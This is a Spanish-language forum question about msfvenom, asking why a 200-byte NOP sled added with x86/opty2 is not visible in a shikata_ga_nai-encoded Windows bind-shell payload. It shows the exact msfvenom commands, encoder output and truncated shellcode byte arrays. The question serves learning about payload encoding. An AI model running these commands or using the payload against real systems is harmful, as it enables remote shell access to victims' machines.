Estoy generando cargas útiles con MSFVenom y aquí hay una salida de muestra:
user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
Successfully added NOP sled from x86/opty2
buf = ""
buf += "\xb1\xbb\x92\xb5\xba\x3d\xb3\x7f\x78\x75\x3f\xa8\x70"
buf += "\x7e\x7f\x78\x73\x76\x7d\x79\x71\x72\x08\xe2\x3d\x89"
...
buf += "\xd7\x7d\x08\xa6\xbf\x4d\x40\x33\xd1\x3c\x45\x60\x0c"
buf += "\xfe\x3e\xbc\x2f\x68\x12\x79\x54\xe1\x52\x49"
En este caso, la opción -n 200
es agregar un slep NOP de 200 bytes, pero no está visible en la carga útil. Supongo que está usando algún tipo de codificación para el trineo NOP (¿es eso lo que significa Successfully added NOP sled from x86/opty2
?)
Lo que estoy tratando de entender: el propósito de un sled NOP es deslizarse dentro del shellcode, si el sled NOP necesita ser descodificado primero, ¿eso no supera el punto? ¿Cuál es la ventaja aquí?
EDITAR:
Aquí hay una salida de muestra sin el -n 200
. No entiendo cómo esta podría ser la misma longitud total.
user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
buf = ""
buf += "\xda\xdf\xba\x09\x7e\x1f\x39\xd9\x74\x24\xf4\x58\x2b"
...
buf += "\xab\xbe\x3e\x2e\x12\xf8\x76\xb1\xad\x34\x21\x43\x21"
buf += "\xd8\xe1\xf8\x2e\x3d\x5b"
La única diferencia es la falta de línea.
Successfully added NOP sled from x86/opty2